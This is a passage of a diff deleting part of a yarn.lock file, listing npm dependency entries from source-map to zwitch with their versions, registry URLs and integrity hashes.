- integrity sha512-mRz/m/JVscCrkMyPqHc/bczi3OQHkLTqXHEFu0zDhK/qfv3UcOA4SVmRCLmos4bhjr9ekVQubj/R7waKapmiQg==
-
-source-map@0.7.3:
- version "0.7.3"
- resolved "https://registry.yarnpkg.com/source-map/-/source-map-0.7.3.tgz#5302f8169031735226544092e64981f751750383"
- integrity sha512-CkCj6giN3S+n9qrYiBTX5gystlENnRW5jZeNLHpe6aue+SrHcG5VYwujhW9s4dY31mEGsxBDrHR6oI69fTXsaQ==
-
-source-map@0.8.0-beta.0:
- version "0.8.0-beta.0"
- resolved "https://registry.yarnpkg.com/source-map/-/source-map-0.8.0-beta.0.tgz#d4c1bb42c3f7ee925f005927ba10709e0d1d1f11"
- integrity sha512-2ymg6oRBpebeZi9UUNsgQ89bhx01TcTkmNTGnNO88imTmbSgy4nfujrgVEFKWpMTEGA11EDkTt7mqObTPdigIA==
- dependencies:
- whatwg-url "^7.0.0"
-
-source-map@^0.6.1:
- version "0.6.1"
- resolved "https://registry.yarnpkg.com/source-map/-/source-map-0.6.1.tgz#74722af32e9614e9c287a8d0bbde48b5e2f1a263"
- integrity sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==
-
-space-separated-tokens@^1.0.0, space-separated-tokens@^1.1.0:
- version "1.1.5"
- resolved "https://registry.yarnpkg.com/space-separated-tokens/-/space-separated-tokens-1.1.5.tgz#85f32c3d10d9682007e917414ddc5c26d1aa6899"
- integrity sha512-q/JSVd1Lptzhf5bkYm4ob4iWPjx0KiRe3sRFBNrVqbJkFaBm5vbbowy1mymoPNLRa52+oadOhJ+K49wsSeSjTA==
-
-stacktrace-parser@0.1.10:
- version "0.1.10"
- resolved "https://registry.yarnpkg.com/stacktrace-parser/-/stacktrace-parser-0.1.10.tgz#29fb0cae4e0d0b85155879402857a1639eb6051a"
- integrity sha512-KJP1OCML99+8fhOHxwwzyWrlUuVX5GQ0ZpJTd1DFXhdkrvg1szxfHhawXUZ3g9TkXORQd4/WG68jMlQZ2p8wlg==
- dependencies:
- type-fest "^0.7.1"
-
-"statuses@>= 1.5.0 < 2":
- version "1.5.0"
- resolved "https://registry.yarnpkg.com/statuses/-/statuses-1.5.0.tgz#161c7dac177659fd9811f43771fa99381478628c"
- integrity sha1-Fhx9rBd2Wf2YEfQ3cfqZOBR4Yow=
-
-stream-browserify@3.0.0:
- version "3.0.0"
- resolved "https://registry.yarnpkg.com/stream-browserify/-/stream-browserify-3.0.0.tgz#22b0a2850cdf6503e73085da1fc7b7d0c2122f2f"
- integrity sha512-H73RAHsVBapbim0tU2JwwOiXUj+fikfiaoYAKHF3VJfA0pe2BCzkhAHBlLG6REzE+2WNZcxOXjK7lkso+9euLA==
- dependencies:
- inherits "~2.0.4"
- readable-stream "^3.5.0"
-
-stream-browserify@^2.0.1:
- version "2.0.2"
- resolved "https://registry.yarnpkg.com/stream-browserify/-/stream-browserify-2.0.2.tgz#87521d38a44aa7ee91ce1cd2a47df0cb49dd660b"
- integrity sha512-nX6hmklHs/gr2FuxYDltq8fJA1GDlxKQCz8O/IM4atRqBH8OORmBNgfvW5gG10GT/qQ9u0CzIvr2X5Pkt6ntqg==
- dependencies:
- inherits "~2.0.1"
- readable-stream "^2.0.2"
-
-stream-http@^2.7.2:
- version "2.8.3"
- resolved "https://registry.yarnpkg.com/stream-http/-/stream-http-2.8.3.tgz#b2d242469288a5a27ec4fe8933acf623de6514fc"
- integrity sha512-+TSkfINHDo4J+ZobQLWiMouQYB+UVYFttRA94FpEzzJ7ZdqcL4uUUQ7WkdkI4DSozGmgBUE/a47L+38PenXhUw==
- dependencies:
- builtin-status-codes "^3.0.0"
- inherits "^2.0.1"
- readable-stream "^2.3.6"
- to-arraybuffer "^1.0.0"
- xtend "^4.0.0"
-
-stream-parser@^0.3.1:
- version "0.3.1"
- resolved "https://registry.yarnpkg.com/stream-parser/-/stream-parser-0.3.1.tgz#1618548694420021a1182ff0af1911c129761773"
- integrity sha1-FhhUhpRCACGhGC/wrxkRwSl2F3M=
- dependencies:
- debug "2"
-
-string-hash@1.1.3:
- version "1.1.3"
- resolved "https://registry.yarnpkg.com/string-hash/-/string-hash-1.1.3.tgz#e8aafc0ac1855b4666929ed7dd1275df5d6c811b"
- integrity sha1-6Kr8CsGFW0Zmkp7X3RJ1311sgRs=
-
-string_decoder@^1.0.0, string_decoder@^1.1.1:
- version "1.3.0"
- resolved "https://registry.yarnpkg.com/string_decoder/-/string_decoder-1.3.0.tgz#42f114594a46cf1a8e30b0a84f56c78c3edac21e"
- integrity sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==
- dependencies:
- safe-buffer "~5.2.0"
-
-string_decoder@~1.1.1:
- version "1.1.1"
- resolved "https://registry.yarnpkg.com/string_decoder/-/string_decoder-1.1.1.tgz#9cf1611ba62685d7030ae9e4ba34149c3af03fc8"
- integrity sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==
- dependencies:
- safe-buffer "~5.1.0"
-
-strip-ansi@6.0.0:
- version "6.0.0"
- resolved "https://registry.yarnpkg.com/strip-ansi/-/strip-ansi-6.0.0.tgz#0b1571dd7669ccd4f3e06e14ef1eed26225ae532"
- integrity sha512-AuvKTrTfQNYNIctbR1K/YGTR1756GycPsg7b9bdV9Duqur4gv6aKqHXah67Z8ImS7WEz5QVcOtlfW2rZEugt6w==
- dependencies:
- ansi-regex "^5.0.0"
-
-style-to-object@^0.3.0:
- version "0.3.0"
- resolved "https://registry.yarnpkg.com/style-to-object/-/style-to-object-0.3.0.tgz#b1b790d205991cc783801967214979ee19a76e46"
- integrity sha512-CzFnRRXhzWIdItT3OmF8SQfWyahHhjq3HwcMNCNLn+N7klOOqPjMeG/4JSu77D7ypZdGvSzvkrbyeTMizz2VrA==
- dependencies:
- inline-style-parser "0.1.1"
-
-styled-jsx@3.3.2:
- version "3.3.2"
- resolved "https://registry.yarnpkg.com/styled-jsx/-/styled-jsx-3.3.2.tgz#2474601a26670a6049fb4d3f94bd91695b3ce018"
- integrity sha512-daAkGd5mqhbBhLd6jYAjYBa9LpxYCzsgo/f6qzPdFxVB8yoGbhxvzQgkC0pfmCVvW3JuAEBn0UzFLBfkHVZG1g==
- dependencies:
- "@babel/types" "7.8.3"
- babel-plugin-syntax-jsx "6.18.0"
- convert-source-map "1.7.0"
- loader-utils "1.2.3"
- source-map "0.7.3"
- string-hash "1.1.3"
- stylis "3.5.4"
- stylis-rule-sheet "0.0.10"
-
-stylis-rule-sheet@0.0.10:
- version "0.0.10"
- resolved "https://registry.yarnpkg.com/stylis-rule-sheet/-/stylis-rule-sheet-0.0.10.tgz#44e64a2b076643f4b52e5ff71efc04d8c3c4a430"
- integrity sha512-nTbZoaqoBnmK+ptANthb10ZRZOGC+EmTLLUxeYIuHNkEKcmKgXX1XWKkUBT2Ac4es3NybooPe0SmvKdhKJZAuw==
-
-stylis@3.5.4:
- version "3.5.4"
- resolved "https://registry.yarnpkg.com/stylis/-/stylis-3.5.4.tgz#f665f25f5e299cf3d64654ab949a57c768b73fbe"
- integrity sha512-8/3pSmthWM7lsPBKv7NXkzn2Uc9W7NotcwGNpJaa3k7WMM1XDCA4MgT5k/8BIexd5ydZdboXtU90XH9Ec4Bv/Q==
-
-supports-color@^5.3.0:
- version "5.5.0"
- resolved "https://registry.yarnpkg.com/supports-color/-/supports-color-5.5.0.tgz#e2e69a44ac8772f78a1ec0b35b689df6530efc8f"
- integrity sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==
- dependencies:
- has-flag "^3.0.0"
-
-supports-color@^6.1.0:
- version "6.1.0"
- resolved "https://registry.yarnpkg.com/supports-color/-/supports-color-6.1.0.tgz#0764abc69c63d5ac842dd4867e8d025e880df8f3"
- integrity sha512-qe1jfm1Mg7Nq/NSh6XE24gPXROEVsWHxC1LIx//XNlD9iw7YZQGjZNjYN7xGaEG6iKdA8EtNFW6R0gjnVXp+wQ==
- dependencies:
- has-flag "^3.0.0"
-
-supports-color@^7.1.0:
- version "7.2.0"
- resolved "https://registry.yarnpkg.com/supports-color/-/supports-color-7.2.0.tgz#1b7dcdcb32b8138801b3e478ba6a51caa89648da"
- integrity sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==
- dependencies:
- has-flag "^4.0.0"
-
-symbol-observable@1.2.0:
- version "1.2.0"
- resolved "https://registry.yarnpkg.com/symbol-observable/-/symbol-observable-1.2.0.tgz#c22688aed4eab3cdc2dfeacbb561660560a00804"
- integrity sha512-e900nM8RRtGhlV36KGEU9k65K3mPb1WV70OdjfxlG2EAuM1noi/E/BaW/uMhL7bPEssK8QV57vN3esixjUvcXQ==
-
-timers-browserify@^2.0.4:
- version "2.0.12"
- resolved "https://registry.yarnpkg.com/timers-browserify/-/timers-browserify-2.0.12.tgz#44a45c11fbf407f34f97bccd1577c652361b00ee"
- integrity sha512-9phl76Cqm6FhSX9Xe1ZUAMLtm1BLkKj2Qd5ApyWkXzsMRaA7dgr81kf4wJmQf/hAvg8EEyJxDo3du/0KlhPiKQ==
- dependencies:
- setimmediate "^1.0.4"
-
-tiny-emitter@^2.0.0:
- version "2.1.0"
- resolved "https://registry.yarnpkg.com/tiny-emitter/-/tiny-emitter-2.1.0.tgz#1d1a56edfc51c43e863cbb5382a72330e3555423"
- integrity sha512-NB6Dk1A9xgQPMoGqC5CVXn123gWyte215ONT5Pp5a0yt4nlEoO1ZWeCwpncaekPHXO60i47ihFnZPiRPjRMq4Q==
-
-tiny-warning@^1.0.2:
- version "1.0.3"
- resolved "https://registry.yarnpkg.com/tiny-warning/-/tiny-warning-1.0.3.tgz#94a30db453df4c643d0fd566060d60a875d84754"
- integrity sha512-lBN9zLN/oAf68o3zNXYrdCt1kP8WsiGW8Oo2ka41b2IM5JL/S1CTyX1rW0mb/zSuJun0ZUrDxx4sqvYS2FWzPA==
-
-to-arraybuffer@^1.0.0:
- version "1.0.1"
- resolved "https://registry.yarnpkg.com/to-arraybuffer/-/to-arraybuffer-1.0.1.tgz#7d229b1fcc637e466ca081180836a7aabff83f43"
- integrity sha1-fSKbH8xjfkZsoIEYCDanqr/4P0M=
-
-to-fast-properties@^2.0.0:
- version "2.0.0"
- resolved "https://registry.yarnpkg.com/to-fast-properties/-/to-fast-properties-2.0.0.tgz#dc5e698cbd079265bc73e0377681a4e4e83f616e"
- integrity sha1-3F5pjL0HkmW8c+A3doGk5Og/YW4=
-
-to-regex-range@^5.0.1:
- version "5.0.1"
- resolved "https://registry.yarnpkg.com/to-regex-range/-/to-regex-range-5.0.1.tgz#1648c44aae7c8d988a326018ed72f5b4dd0392e4"
- integrity sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==
- dependencies:
- is-number "^7.0.0"
-
-toidentifier@1.0.0:
- version "1.0.0"
- resolved "https://registry.yarnpkg.com/toidentifier/-/toidentifier-1.0.0.tgz#7e1be3470f1e77948bc43d94a3c8f4d7752ba553"
- integrity sha512-yaOH/Pk/VEhBWWTlhI+qXxDFXlejDGcQipMlyxda9nthulaxLZUNcUqFxokp0vcYnvteJln5FNQDRrxj3YcbVw==
-
-tr46@^1.0.1:
- version "1.0.1"
- resolved "https://registry.yarnpkg.com/tr46/-/tr46-1.0.1.tgz#a8b13fd6bfd2489519674ccde55ba3693b706d09"
- integrity sha1-qLE/1r/SSJUZZ0zN5VujaTtwbQk=
- dependencies:
- punycode "^2.1.0"
-
-trough@^1.0.0:
- version "1.0.5"
- resolved "https://registry.yarnpkg.com/trough/-/trough-1.0.5.tgz#b8b639cefad7d0bb2abd37d433ff8293efa5f406"
- integrity sha512-rvuRbTarPXmMb79SmzEp8aqXNKcK+y0XaB298IXueQ8I2PsrATcPBCSPyK/dDNa2iWOhKlfNnOjdAOTBU/nkFA==
-
-ts-pnp@^1.1.6:
- version "1.2.0"
- resolved "https://registry.yarnpkg.com/ts-pnp/-/ts-pnp-1.2.0.tgz#a500ad084b0798f1c3071af391e65912c86bca92"
- integrity sha512-csd+vJOb/gkzvcCHgTGSChYpy5f1/XKNsmvBGO4JXS+z1v2HobugDz4s1IeFXM3wZB44uczs+eazB5Q/ccdhQw==
-
-tty-browserify@0.0.0:
- version "0.0.0"
- resolved "https://registry.yarnpkg.com/tty-browserify/-/tty-browserify-0.0.0.tgz#a157ba402da24e9bf957f9aa69d524eed42901a6"
- integrity sha1-oVe6QC2iTpv5V/mqadUk7tQpAaY=
-
-type-fest@^0.7.1:
- version "0.7.1"
- resolved "https://registry.yarnpkg.com/type-fest/-/type-fest-0.7.1.tgz#8dda65feaf03ed78f0a3f9678f1869147f7c5c48"
- integrity sha512-Ne2YiiGN8bmrmJJEuTWTLJR32nh/JdL1+PSicowtNb0WFpn59GK8/lfD61bVtzguz7b3PBt74nxpv/Pw5po5Rg==
-
-typescript@^4.2.3:
- version "4.2.3"
- resolved "https://registry.yarnpkg.com/typescript/-/typescript-4.2.3.tgz#39062d8019912d43726298f09493d598048c1ce3"
- integrity sha512-qOcYwxaByStAWrBf4x0fibwZvMRG+r4cQoTjbPtUlrWjBHbmCAww1i448U0GJ+3cNNEtebDteo/cHOR3xJ4wEw==
-
-unified@^9.0.0:
- version "9.2.1"
- resolved "https://registry.yarnpkg.com/unified/-/unified-9.2.1.tgz#ae18d5674c114021bfdbdf73865ca60f410215a3"
- integrity sha512-juWjuI8Z4xFg8pJbnEZ41b5xjGUWGHqXALmBZ3FC3WX0PIx1CZBIIJ6mXbYMcf6Yw4Fi0rFUTA1cdz/BglbOhA==
- dependencies:
- bail "^1.0.0"
- extend "^3.0.0"
- is-buffer "^2.0.0"
- is-plain-obj "^2.0.0"
- trough "^1.0.0"
- vfile "^4.0.0"
-
-unist-builder@^2.0.0:
- version "2.0.3"
- resolved "https://registry.yarnpkg.com/unist-builder/-/unist-builder-2.0.3.tgz#77648711b5d86af0942f334397a33c5e91516436"
- integrity sha512-f98yt5pnlMWlzP539tPc4grGMsFaQQlP/vM396b00jngsiINumNmsY8rkXjfoi1c6QaM8nQ3vaGDuoKWbe/1Uw==
-
-unist-util-generated@^1.0.0:
- version "1.1.6"
- resolved "https://registry.yarnpkg.com/unist-util-generated/-/unist-util-generated-1.1.6.tgz#5ab51f689e2992a472beb1b35f2ce7ff2f324d4b"
- integrity sha512-cln2Mm1/CZzN5ttGK7vkoGw+RZ8VcUH6BtGbq98DDtRGquAAOXig1mrBQYelOwMXYS8rK+vZDyyojSjp7JX+Lg==
-
-unist-util-is@^4.0.0:
- version "4.1.0"
- resolved "https://registry.yarnpkg.com/unist-util-is/-/unist-util-is-4.1.0.tgz#976e5f462a7a5de73d94b706bac1b90671b57797"
- integrity sha512-ZOQSsnce92GrxSqlnEEseX0gi7GH9zTJZ0p9dtu87WRb/37mMPO2Ilx1s/t9vBHrFhbgweUwb+t7cIn5dxPhZg==
-
-unist-util-position@^3.0.0:
- version "3.1.0"
- resolved "https://registry.yarnpkg.com/unist-util-position/-/unist-util-position-3.1.0.tgz#1c42ee6301f8d52f47d14f62bbdb796571fa2d47"
- integrity sha512-w+PkwCbYSFw8vpgWD0v7zRCl1FpY3fjDSQ3/N/wNd9Ffa4gPi8+4keqt99N3XW6F99t/mUzp2xAhNmfKWp95QA==
-
-unist-util-stringify-position@^2.0.0:
- version "2.0.3"
- resolved "https://registry.yarnpkg.com/unist-util-stringify-position/-/unist-util-stringify-position-2.0.3.tgz#cce3bfa1cdf85ba7375d1d5b17bdc4cada9bd9da"
- integrity sha512-3faScn5I+hy9VleOq/qNbAd6pAx7iH5jYBMS9I1HgQVijz/4mv5Bvw5iw1sC/90CODiKo81G/ps8AJrISn687g==
- dependencies:
- "@types/unist" "^2.0.2"
-
-unist-util-visit-parents@^3.0.0:
- version "3.1.1"
- resolved "https://registry.yarnpkg.com/unist-util-visit-parents/-/unist-util-visit-parents-3.1.1.tgz#65a6ce698f78a6b0f56aa0e88f13801886cdaef6"
- integrity sha512-1KROIZWo6bcMrZEwiH2UrXDyalAa0uqzWCxCJj6lPOvTve2WkfgCytoDTPaMnodXh1WrXOq0haVYHj99ynJlsg==
- dependencies:
- "@types/unist" "^2.0.0"
- unist-util-is "^4.0.0"
-
-unist-util-visit@^2.0.0:
- version "2.0.3"
- resolved "https://registry.yarnpkg.com/unist-util-visit/-/unist-util-visit-2.0.3.tgz#c3703893146df47203bb8a9795af47d7b971208c"
- integrity sha512-iJ4/RczbJMkD0712mGktuGpm/U4By4FfDonL7N/9tATGIF4imikjOuagyMY53tnZq3NP6BcmlrHhEKAfGWjh7Q==
- dependencies:
- "@types/unist" "^2.0.0"
- unist-util-is "^4.0.0"
- unist-util-visit-parents "^3.0.0"
-
-unpipe@1.0.0:
- version "1.0.0"
- resolved "https://registry.yarnpkg.com/unpipe/-/unpipe-1.0.0.tgz#b2bf4ee8514aae6165b4817829d21b2ef49904ec"
- integrity sha1-sr9O6FFKrmFltIF4KdIbLvSZBOw=
-
-url@^0.11.0:
- version "0.11.0"
- resolved "https://registry.yarnpkg.com/url/-/url-0.11.0.tgz#3838e97cfc60521eb73c525a8e55bfdd9e2e28f1"
- integrity sha1-ODjpfPxgUh63PFJajlW/3Z4uKPE=
- dependencies:
- punycode "1.3.2"
- querystring "0.2.0"
-
-use-mousetrap@^1.0.4:
- version "1.0.4"
- resolved "https://registry.yarnpkg.com/use-mousetrap/-/use-mousetrap-1.0.4.tgz#9ec635821140e702cc873f41880a5cbd46d1d09a"
- integrity sha512-+limiYsm2e1Xs/tnwfEqSCcvh6XTcfLTpCoJFA+mu+btInnlrkFkZ48DLwVGejJdvP5H3Ge79t0bcRKepncvbQ==
- dependencies:
- "@types/mousetrap" "^1.6.4"
- mousetrap "^1.6.5"
-
-use-subscription@1.5.1:
- version "1.5.1"
- resolved "https://registry.yarnpkg.com/use-subscription/-/use-subscription-1.5.1.tgz#73501107f02fad84c6dd57965beb0b75c68c42d1"
- integrity sha512-Xv2a1P/yReAjAbhylMfFplFKj9GssgTwN7RlcTxBujFQcloStWNDQdc4g4NRWH9xS4i/FDk04vQBptAXoF3VcA==
- dependencies:
- object-assign "^4.1.1"
-
-util-deprecate@^1.0.1, util-deprecate@~1.0.1:
- version "1.0.2"
- resolved "https://registry.yarnpkg.com/util-deprecate/-/util-deprecate-1.0.2.tgz#450d4dc9fa70de732762fbd2d4a28981419a0ccf"
- integrity sha1-RQ1Nyfpw3nMnYvvS1KKJgUGaDM8=
-
-util@0.10.3:
- version "0.10.3"
- resolved "https://registry.yarnpkg.com/util/-/util-0.10.3.tgz#7afb1afe50805246489e3db7fe0ed379336ac0f9"
- integrity sha1-evsa/lCAUkZInj23/g7TeTNqwPk=
- dependencies:
- inherits "2.0.1"
-
-util@^0.11.0:
- version "0.11.1"
- resolved "https://registry.yarnpkg.com/util/-/util-0.11.1.tgz#3236733720ec64bb27f6e26f421aaa2e1b588d61"
- integrity sha512-HShAsny+zS2TZfaXxD9tYj4HQGlBezXZMZuM/S5PKLLoZkShZiGk9o5CzukI1LVHZvjdvZ2Sj1aW/Ndn2NB/HQ==
- dependencies:
- inherits "2.0.3"
-
-vfile-location@^3.2.0:
- version "3.2.0"
- resolved "https://registry.yarnpkg.com/vfile-location/-/vfile-location-3.2.0.tgz#d8e41fbcbd406063669ebf6c33d56ae8721d0f3c"
- integrity sha512-aLEIZKv/oxuCDZ8lkJGhuhztf/BW4M+iHdCwglA/eWc+vtuRFJj8EtgceYFX4LRjOhCAAiNHsKGssC6onJ+jbA==
-
-vfile-message@^2.0.0:
- version "2.0.4"
- resolved "https://registry.yarnpkg.com/vfile-message/-/vfile-message-2.0.4.tgz#5b43b88171d409eae58477d13f23dd41d52c371a"
- integrity sha512-DjssxRGkMvifUOJre00juHoP9DPWuzjxKuMDrhNbk2TdaYYBNMStsNhEOt3idrtI12VQYM/1+iM0KOzXi4pxwQ==
- dependencies:
- "@types/unist" "^2.0.0"
- unist-util-stringify-position "^2.0.0"
-
-vfile@^4.0.0:
- version "4.2.1"
- resolved "https://registry.yarnpkg.com/vfile/-/vfile-4.2.1.tgz#03f1dce28fc625c625bc6514350fbdb00fa9e624"
- integrity sha512-O6AE4OskCG5S1emQ/4gl8zK586RqA3srz3nfK/Viy0UPToBc5Trp9BVFb1u0CjsKrAWwnpr4ifM/KBXPWwJbCA==
- dependencies:
- "@types/unist" "^2.0.0"
- is-buffer "^2.0.0"
- unist-util-stringify-position "^2.0.0"
- vfile-message "^2.0.0"
-
-vm-browserify@1.1.2, vm-browserify@^1.0.1:
- version "1.1.2"
- resolved "https://registry.yarnpkg.com/vm-browserify/-/vm-browserify-1.1.2.tgz#78641c488b8e6ca91a75f511e7a3b32a86e5dda0"
- integrity sha512-2ham8XPWTONajOR0ohOKOHXkm3+gaBmGut3SRuu75xLd/RRaY6vqgh8NBYYk7+RW3u5AtzPQZG8F10LHkl0lAQ==
-
-watchpack@2.1.1:
- version "2.1.1"
- resolved "https://registry.yarnpkg.com/watchpack/-/watchpack-2.1.1.tgz#e99630550fca07df9f90a06056987baa40a689c7"
- integrity sha512-Oo7LXCmc1eE1AjyuSBmtC3+Wy4HcV8PxWh2kP6fOl8yTlNS7r0K9l1ao2lrrUza7V39Y3D/BbJgY8VeSlc5JKw==
- dependencies:
- glob-to-regexp "^0.4.1"
- graceful-fs "^4.1.2"
-
-web-namespaces@^1.0.0:
- version "1.1.4"
- resolved "https://registry.yarnpkg.com/web-namespaces/-/web-namespaces-1.1.4.tgz#bc98a3de60dadd7faefc403d1076d529f5e030ec"
- integrity sha512-wYxSGajtmoP4WxfejAPIr4l0fVh+jeMXZb08wNc0tMg6xsfZXj3cECqIK0G7ZAqUq0PP8WlMDtaOGVBTAWztNw==
-
-webidl-conversions@^4.0.2:
- version "4.0.2"
- resolved "https://registry.yarnpkg.com/webidl-conversions/-/webidl-conversions-4.0.2.tgz#a855980b1f0b6b359ba1d5d9fb39ae941faa63ad"
- integrity sha512-YQ+BmxuTgd6UXZW3+ICGfyqRyHXVlD5GtQr5+qjiNW7bF0cqrzX500HVXPBOvgXb5YnzDd+h0zqyv61KUD7+Sg==
-
-whatwg-url@^7.0.0:
- version "7.1.0"
- resolved "https://registry.yarnpkg.com/whatwg-url/-/whatwg-url-7.1.0.tgz#c2c492f1eca612988efd3d2266be1b9fc6170d06"
- integrity sha512-WUu7Rg1DroM7oQvGWfOiAK21n74Gg+T4elXEQYkOhtyLeWiJFoOGLXPKI/9gzIie9CtwVLm8wtw6YJdKyxSjeg==
- dependencies:
- lodash.sortby "^4.7.0"
- tr46 "^1.0.1"
- webidl-conversions "^4.0.2"
-
-xtend@^4.0.0:
- version "4.0.2"
- resolved "https://registry.yarnpkg.com/xtend/-/xtend-4.0.2.tgz#bb72779f5fa465186b1f438f674fa347fdb5db54"
- integrity sha512-LKYU1iAXJXUgAXn9URjiu+MWhyUXHsvfp7mcuYm9dSUKK0/CjtrUwFAxD82/mCWbtLsGjFIad0wIsod4zrTAEQ==
-
-yocto-queue@^0.1.0:
- version "0.1.0"
- resolved "https://registry.yarnpkg.com/yocto-queue/-/yocto-queue-0.1.0.tgz#0294eb3dee05028d31ee1a5fa2c556a6aaf10a1b"
- integrity sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q==
-
-zwitch@^1.0.0:
- version "1.0.5"
- resolved "https://registry.yarnpkg.com/zwitch/-/zwitch-1.0.5.tgz#d11d7381ffed16b742f6af7b3f223d5cd9fe9920"
- integrity sha512-V50KMwwzqJV0NpZIZFwfOD5/lyny3WlSzRiXgA0G7VUnRlqttta1L6UQIHzd6EuBY/cHGfwTIck7w1yH6Q5zUw==